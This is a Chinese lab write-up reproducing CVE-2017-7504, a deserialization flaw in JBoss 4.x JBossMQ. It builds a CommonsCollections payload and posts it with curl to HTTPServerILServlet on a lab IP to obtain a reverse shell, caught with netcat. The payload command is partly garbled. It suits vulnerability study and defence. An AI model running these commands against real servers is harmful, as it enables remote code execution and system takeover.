JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

373 阅读1分钟

一、漏洞描述

JBoss <=4.x

二、漏洞原理

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

三、环境搭建

在这里插入图片描述

四、漏洞复现

访问目标网站
在这里插入图片描述
准备EXP:
github.com/joaomatosf/…
下载好了之后,复制到kali虚拟机,准备攻击测试

选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据: 
命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class 
在这里插入图片描述
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashM2.168.36.129/6666 0>&1"
命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser
#ser全称serialize,序列化恶意数据至文件。
在这里插入图片描述
将该文件作为请求数据主体发送如下数据包:
curl http://192.168.36.147:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
在执行命令之前打开nc监听
在这里插入图片描述
打开之后执行上传文件的命令

–data-binary 意为以二进制的方式post数据

在这里插入图片描述
此时反弹回shell
在这里插入图片描述
注意:如果执行curl http://192.168.36.147:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser 报错出现 curl: (6) Could not resolve host: http
那么修改DNS配置,修改后重启DNS服务或者重启kali即可解决该问题
修改DNS参考链接:www.cnblogs.com/sea-stream/…

五、漏洞修复

升级至最新版本

更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
在这里插入图片描述